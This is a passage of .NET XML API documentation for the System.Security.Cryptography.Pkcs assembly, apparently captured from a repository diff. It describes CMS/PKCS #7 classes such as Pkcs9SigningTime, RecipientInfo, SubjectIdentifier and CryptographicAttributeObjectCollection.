<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class by using the specified array of byte values as the encoded name of the content of a CMS/PKCS #7 message.</summary>
<param name="encodedDocumentName">An array of byte values that specifies the encoded name of the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.String)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.String)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class by using the specified name for the CMS/PKCS #7 message.</summary>
<param name="documentName">A <see cref="T:System.String"></see> object that specifies the name for the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.DocumentName">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.DocumentName"></see> property retrieves the document name.</summary>
<returns>A <see cref="System.String"></see> object that contains the document name.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest"></see> class defines the message digest of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.MessageDigest">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.MessageDigest"></see> property retrieves the message digest.</summary>
<returns>An array of byte values that contains the message digest.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class defines the signing date and time of a signature. A <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> object can be used as an authenticated attribute of a <see cref="T:System.Security.Cryptography.Pkcs.CmsSigner"></see> object when an authenticated date and time are to accompany a digital signature.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class by using the specified array of byte values as the encoded signing date and time of the content of a CMS/PKCS #7 message.</summary>
<param name="encodedSigningTime">An array of byte values that specifies the encoded signing date and time of the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.DateTime)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.DateTime)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class by using the specified signing date and time.</summary>
<param name="signingTime">A <see cref="T:System.DateTime"></see> structure that represents the signing date and time of the signature.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from a <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.SigningTime">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.SigningTime"></see> property retrieves a <see cref="T:System.DateTime"></see> structure that represents the date and time that the message was signed.</summary>
<returns>A <see cref="System.DateTime"></see> structure that contains the date and time the document was signed.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.PublicKeyInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.PublicKeyInfo"></see> class represents information associated with a public key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.Algorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.Algorithm"></see> property retrieves the algorithm identifier associated with the public key.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that represents the algorithm.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.KeyValue">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.KeyValue"></see> property retrieves the value of the encoded public component of the public key pair.</summary>
<returns>An array of byte values that represents the encoded public component of the public key pair.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> class represents information about a CMS/PKCS #7 message recipient. The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> class is an abstract class inherited by the <see cref="T:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo"></see> and <see cref="T:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo"></see> classes.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.EncryptedKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.EncryptedKey"></see> abstract property retrieves the encrypted recipient keying material.</summary>
<returns>An array of byte values that contain the encrypted recipient keying material.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.KeyEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.KeyEncryptionAlgorithm"></see> abstract property retrieves the algorithm used to perform the key establishment.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that contains the value of the algorithm used to establish the key between the originator and recipient of the CMS/PKCS #7 message.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.RecipientIdentifier">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.RecipientIdentifier"></see> abstract property retrieves the identifier of the recipient.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier"></see> object that contains the identifier of the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.Type">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.Type"></see> property retrieves the type of the recipient. The type of the recipient determines which of two major protocols is used to establish a key between the originator and the recipient of a CMS/PKCS #7 message.</summary>
<returns>A value of the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoType"></see> enumeration that defines the type of the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.Version"></see> abstract property retrieves the version of the recipient information. Derived classes automatically set this property for their objects, and the value indicates whether it is using PKCS #7 or Cryptographic Message Syntax (CMS) to protect messages. The version also implies whether the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object establishes a cryptographic key by a key agreement algorithm or a key transport algorithm.</summary>
<returns>An <see cref="System.Int32"></see> value that represents the version of the <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> class represents a collection of <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> objects. <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> implements the <see cref="T:System.Collections.ICollection"></see> interface.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Array,System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Array,System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection to an array.</summary>
<param name="array">An <see cref="T:System.Array"></see> object to which the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index in array where the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">One of the arguments provided to a method was not valid.</exception>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Security.Cryptography.Pkcs.RecipientInfo[],System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Security.Cryptography.Pkcs.RecipientInfo[],System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection to a <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> array.</summary>
<param name="array">An array of <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> objects where the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index in array where the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">One of the arguments provided to a method was not valid.</exception>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Count">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Count"></see> property retrieves the number of items in the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>An int value that represents the number of items in the collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Item(System.Int32)">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Item(System.Int32)"></see> property retrieves the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object at the specified index in the collection.</summary>
<param name="index">An int value that represents the index in the collection. The index is zero based.</param>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object at the specified index.</returns>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#ICollection#IsSynchronized">
<returns></returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#ICollection#SyncRoot">
<returns></returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#IEnumerable#GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#IEnumerable#GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> class provides enumeration functionality for the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection. <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> implements the <see cref="T:System.Collections.IEnumerator"></see> interface.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the current recipient information structure in the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.MoveNext">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.MoveNext"></see> method advances the enumeration to the next <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>This method returns a bool that specifies whether the enumeration successfully advanced. If the enumeration successfully moved to the next <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object, the method returns true. If the enumeration moved past the last item in the enumeration, it returns false.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Reset">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Reset"></see> method resets the enumeration to the first <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.System#Collections#IEnumerator#Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.System#Collections#IEnumerator#Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the current recipient information structure in the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfoType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoType"></see> enumeration defines the types of recipient information.</summary>
</member>
<member name="F:System.Security.Cryptography.Pkcs.RecipientInfoType.KeyAgreement">
<summary>Key agreement recipient information.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.RecipientInfoType.KeyTransport">
<summary>Key transport recipient information.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.RecipientInfoType.Unknown">
<summary>The recipient information type is unknown.</summary>
<returns></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifier">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifier"></see> class defines the type of the identifier of a subject, such as a <see cref="T:System.Security.Cryptography.Pkcs.CmsSigner"></see> or a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see>. The subject can be identified by the certificate issuer and serial number or the subject key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Type">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property retrieves the type of subject identifier. The subject can be identified by the certificate issuer and serial number or the subject key.</summary>
<returns>A member of the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that identifies the type of subject.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Value">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Value"></see> property retrieves the value of the subject identifier. Use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property to determine the type of subject identifier, and use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Value"></see> property to retrieve the corresponding value.</summary>
<returns>An <see cref="System.Object"></see> object that represents the value of the subject identifier. This <see cref="System.Object"></see> can be one of the following objects as determined by the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property.
<see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property
Object
IssuerAndSerialNumber
<see cref="System.Security.Cryptography.Xml.X509IssuerSerial"></see> SubjectKeyIdentifier
<see cref="System.String"></see></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey"></see> class defines the type of the identifier of a subject, such as a <see cref="T:System.Security.Cryptography.Pkcs.CmsSigner"></see> or a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see>. The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property retrieves the type of subject identifier or key. The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key.</summary>
<returns>A member of the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType"></see> enumeration that specifies the type of subject identifier.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Value">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Value"></see> property retrieves the value of the subject identifier or key. Use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property to determine the type of subject identifier or key, and use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Value"></see> property to retrieve the corresponding value.</summary>
<returns>An <see cref="System.Object"></see> object that represents the value of the subject identifier or key. This <see cref="System.Object"></see> can be one of the following objects as determined by the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property.
<see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property
Object
IssuerAndSerialNumber
<see cref="System.Security.Cryptography.Xml.X509IssuerSerial"></see> SubjectKeyIdentifier
<see cref="System.String"></see> PublicKeyInfo
<see cref="System.Security.Cryptography.Pkcs.PublicKeyInfo"></see></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType"></see> enumeration defines how a subject is identified.</summary>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.IssuerAndSerialNumber">
<summary>The subject is identified by the certificate issuer and serial number.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.PublicKeyInfo">
<summary>The subject is identified by the public key.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.SubjectKeyIdentifier">
<summary>The subject is identified by the hash of the subject key.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.Unknown">
<summary>The type is unknown.</summary>
<returns></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration defines the type of subject identifier.</summary>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.IssuerAndSerialNumber">
<summary>The subject is identified by the certificate issuer and serial number.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.NoSignature">
<summary>The subject is identified as taking part in an integrity check operation that uses only a hashing algorithm.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.SubjectKeyIdentifier">
<summary>The subject is identified by the hash of the subject&amp;#39;s public key. The hash algorithm used is determined by the signature algorithm suite in the subject&amp;#39;s certificate.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.Unknown">
<summary>The type of subject identifier is unknown.</summary>
<returns></returns>
</member>
<member name="T:System.Security.Cryptography.Xml.X509IssuerSerial">
<summary>Represents the &amp;lt;X509IssuerSerial&amp;gt; element of an XML digital signature.</summary>
</member>
<member name="P:System.Security.Cryptography.Xml.X509IssuerSerial.IssuerName">
<summary>Gets or sets an X.509 certificate issuer&amp;#39;s distinguished name.</summary>
<returns>An X.509 certificate issuer&amp;#39;s distinguished name.</returns>
</member>
<member name="P:System.Security.Cryptography.Xml.X509IssuerSerial.SerialNumber">
<summary>Gets or sets an X.509 certificate issuer&amp;#39;s serial number.</summary>
<returns>An X.509 certificate issuer&amp;#39;s serial number.</returns>
</member>
</members>
</doc>

View File

@ -0,0 +1,760 @@
<?xml version="1.0" encoding="utf-8"?><doc>
<assembly>
<name>System.Security.Cryptography.Pkcs</name>
</assembly>
<members>
<member name="T:System.Security.Cryptography.CryptographicAttributeObject">
<summary>Contains a type and a collection of values associated with that type.</summary>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObject.#ctor(System.Security.Cryptography.Oid)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> class using an attribute represented by the specified <see cref="T:System.Security.Cryptography.Oid"></see> object.</summary>
<param name="oid">The attribute to store in this <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object.</param>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObject.#ctor(System.Security.Cryptography.Oid,System.Security.Cryptography.AsnEncodedDataCollection)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> class using an attribute represented by the specified <see cref="T:System.Security.Cryptography.Oid"></see> object and the set of values associated with that attribute represented by the specified <see cref="T:System.Security.Cryptography.AsnEncodedDataCollection"></see> collection.</summary>
<param name="oid">The attribute to store in this <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object.</param>
<param name="values">The set of values associated with the attribute represented by the oid parameter.</param>
<exception cref="T:System.InvalidOperationException">The collection contains duplicate items.</exception>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObject.Oid">
<summary>Gets the <see cref="T:System.Security.Cryptography.Oid"></see> object that specifies the object identifier for the attribute.</summary>
<returns>The object identifier for the attribute.</returns>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObject.Values">
<summary>Gets the <see cref="T:System.Security.Cryptography.AsnEncodedDataCollection"></see> collection that contains the set of values that are associated with the attribute.</summary>
<returns>The set of values that is associated with the attribute.</returns>
</member>
<member name="T:System.Security.Cryptography.CryptographicAttributeObjectCollection">
<summary>Contains a set of <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> objects.</summary>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.#ctor">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.#ctor(System.Security.Cryptography.CryptographicAttributeObject)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> class, adding a specified <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> to the collection.</summary>
<param name="attribute">A <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object that is added to the collection.</param>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.Add(System.Security.Cryptography.AsnEncodedData)">
<summary>Adds the specified <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object to the collection.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object to add to the collection.</param>
<returns>true if the method returns the zero-based index of the added item; otherwise, false.</returns>
<exception cref="T:System.ArgumentNullException"><paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.Add(System.Security.Cryptography.CryptographicAttributeObject)">
<summary>Adds the specified <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to the collection.</summary>
<param name="attribute">The <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to add to the collection.</param>
<returns>true if the method returns the zero-based index of the added item; otherwise, false.</returns>
<exception cref="T:System.ArgumentNullException"><paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">The specified item already exists in the collection.</exception>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.CopyTo(System.Security.Cryptography.CryptographicAttributeObject[],System.Int32)">
<summary>Copies the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection to an array of <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> objects.</summary>
<param name="array">An array of <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> objects that the collection is copied to.</param>
<param name="index">The zero-based index in array to which the collection is to be copied.</param>
<exception cref="T:System.ArgumentException">One of the arguments provided to a method was not valid.</exception>
<exception cref="T:System.ArgumentNullException">null was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.Count">
<summary>Gets the number of items in the collection.</summary>
<returns>The number of items in the collection.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.GetEnumerator">
<summary>Gets a <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectEnumerator"></see> object for the collection.</summary>
<returns>true if the method returns a <see cref="System.Security.Cryptography.CryptographicAttributeObjectEnumerator"></see> object that can be used to enumerate the collection; otherwise, false.</returns>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.Item(System.Int32)">
<summary>Gets the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object at the specified index in the collection.</summary>
<param name="index">An <see cref="T:System.Int32"></see> value that represents the zero-based index of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to retrieve.</param>
<returns>The <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object at the specified index.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.Remove(System.Security.Cryptography.CryptographicAttributeObject)">
<summary>Removes the specified <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object from the collection.</summary>
<param name="attribute">The <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to remove from the collection.</param>
<exception cref="T:System.ArgumentNullException"><paramref name="attribute">attribute</paramref> is null.</exception>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#ICollection#CopyTo(System.Array,System.Int32)">
<summary>Copies the elements of this <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection to an <see cref="T:System.Array"></see> array, starting at a particular index.</summary>
<param name="array">The one-dimensional <see cref="T:System.Array"></see> array that is the destination of the elements copied from this <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see>. The <see cref="T:System.Array"></see> array must have zero-based indexing.</param>
<param name="index">The zero-based index in array at which copying begins.</param>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#ICollection#IsSynchronized">
<returns></returns>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#ICollection#SyncRoot">
<returns></returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#IEnumerable#GetEnumerator">
